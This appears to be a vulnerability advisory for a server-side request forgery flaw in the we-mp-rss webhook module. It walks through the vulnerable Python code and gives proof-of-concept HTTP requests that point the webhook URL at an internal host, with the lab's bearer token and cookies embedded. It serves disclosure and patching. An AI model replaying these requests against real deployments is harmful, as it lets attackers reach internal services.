An unchecked web_hook_url parameter in WebRSS's (https://github.com/rachelos/we-mp-rss/) Webhook module allows authenticated users to perform SSRF attacks.
When an authenticated user sets a job service in do_job()
def do_job(mp=None,task:MessageTask=None):
# TaskQueue.add_task(test,info=datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
# print("执行任务", task.mps_id)
print("执行任务")
all_count=0
wx=WxGather().Model()
try:
wx.get_Articles(mp.faker_id,CallBack=UpdateArticle,Mps_id=mp.id,Mps_title=mp.mp_name, MaxPage=1,Over_CallBack=Update_Over,interval=interval)
except Exception as e:
print_error(e)
# raise
finally:
count=wx.all_count()
all_count+=count
from jobs.webhook import MessageWebHook
tms=MessageWebHook(task=task,feed=mp,articles=wx.articles)
web_hook(tms) # L55 <-------------------------------------------------------
print_success(f"任务({task.id})[{mp.mp_name}]执行成功,{count}成功条数")
...
Enter web_hook() with "Webhook" type hook.task.message_type == 1
def web_hook(hook:MessageWebHook):
try:
processed_articles = []
if len(hook.articles)<=0:
logger.warning("没有更新到文章") # `hook.articles` cannot be empty.
return
for article in hook.articles:
if isinstance(article, dict):
processed_article = {
field.name: (
datetime.fromtimestamp(article[field.name]).strftime("%Y-%m-%d %H:%M:%S")
if field.name == "publish_time" and field.name in article
else article.get(field.name, "")
)
for field in Article.__table__.columns
}
else:
processed_article = {
field.name: (
datetime.fromtimestamp(getattr(article, field.name)).strftime("%Y-%m-%d %H:%M:%S")
if field.name == "publish_time"
else getattr(article, field.name)
)
for field in Article.__table__.columns
}
processed_articles.append(processed_article)
hook.articles = processed_articles
if hook.task.message_type == 0: # 发送消息
return send_message(hook)
elif hook.task.message_type == 1: # 调用webhook
return call_webhook(hook)
else:
raise ValueError(f"未知的消息类型: {hook.task.message_type}") # L209 <-------------------------------------------------------
except Exception as e:
raise ValueError(f"处理消息时出错: {str(e)}")
The code enters call_webhook(), where the hook.task.web_hook_url parameter can be set to any URL
...
# 检查web_hook_url是否为空
if not hook.task.web_hook_url:
logger.error("web_hook_url为空")
return
# 发送webhook请求
import requests
# print_success(f"发送webhook请求{payload}")
try:
response = requests.post( # L152
hook.task.web_hook_url, # L153 <-------------------------------------------------------
data=payload, # L154
headers={"Content-Type": "application/json"}
)
response.raise_for_status()
return "Webhook调用成功"
except Exception as e:
raise ValueError(f"Webhook调用失败: {str(e)}")
...
log in to the background,set webhook task
PUT /api/v1/wx/message_tasks/64460700-37b3-4495-9e62-83383d3228aa HTTP/1.1
Host: 192.168.31.19:18001
Content-Length: 712
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc2MTk4NTA3MX0.qdqa953q5ZWUY-6sXOJHaEJnad5S8Vt1-XiLBS2RwDM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: application/json
DNT: 1
Content-Type: application/json
Origin: <http://192.168.31.19:18001>
Referer: <http://192.168.31.19:18001/message-tasks/edit/64460700-37b3-4495-9e62-83383d3228aa>
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_975de8724ac02eb7e6d2357bb95c067d=1761613433,1761725857; HMACCOUNT=ED8BF6E3A1261C32; Hm_lpvt_975de8724ac02eb7e6d2357bb95c067d=1761727793
Connection: keep-alive
{
"name":"test",
"message_type":1,
"message_template":"{\\n 'articles': [\\n {% for article in articles %}\\n {{article}}\\n {% if not loop.last %},{% endif %}\\n {% endfor %}\\n ]\\n}",
"web_hook_url":"<http://192.168.31.90:18085/>",
"mps_id":"[{\\"id\\":\\"MP_WXS_3084276724\\",\\"mp_name\\":\\"新华社\\",\\"mp_cover\\":\\"<http://mmbiz.qpic.cn/mmbiz_png/azXQmS1HA7lUbOh6fqpzyseAmRpR1PryBaaCUxAuyqJO4sKj9hQO814kKgXARvMAqMtF3icxhy1lhbCT2ktyf2Q/0?wx_fmt=png\\"},{\\"id\\":\\"MP_WXS_3262986812\\",\\"mp_name\\":\\"赛博生存指南\\",\\"mp_cover\\":\\"http://mmbiz.qpic.cn/mmbiz_png/W8BrFJicfTaicbd7kn2cZBgNIaLlk75yrMSYaKQVkia524P5J7BoEBsYWI1XEWOXqDdmMcIzOYWZAiaTaqoSuvZXfg/0?wx_fmt=png\\"}]">,
"status":1,
"cron_exp":"*/5 * * * *"
}

start the http server, run the task with id 64460700-37b3-4495-9e62-83383d3228aa
python3 -m http.server 18085 # my pc have two ip 192.168.31.90 and 192.168.31.19
GET /api/v1/wx/message_tasks/64460700-37b3-4495-9e62-83383d3228aa/run?isTest=true HTTP/1.1
Host: 192.168.31.19:18001
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc2MTk4NTA3MX0.qdqa953q5ZWUY-6sXOJHaEJnad5S8Vt1-XiLBS2RwDM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: application/json
DNT: 1
Referer: <http://192.168.31.19:18001/message-tasks>
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_975de8724ac02eb7e6d2357bb95c067d=1761613433,1761725857; HMACCOUNT=ED8BF6E3A1261C32; Hm_lpvt_975de8724ac02eb7e6d2357bb95c067d=1761727793
Connection: keep-alive
ssrf

we-mp-rss ≤1.4.7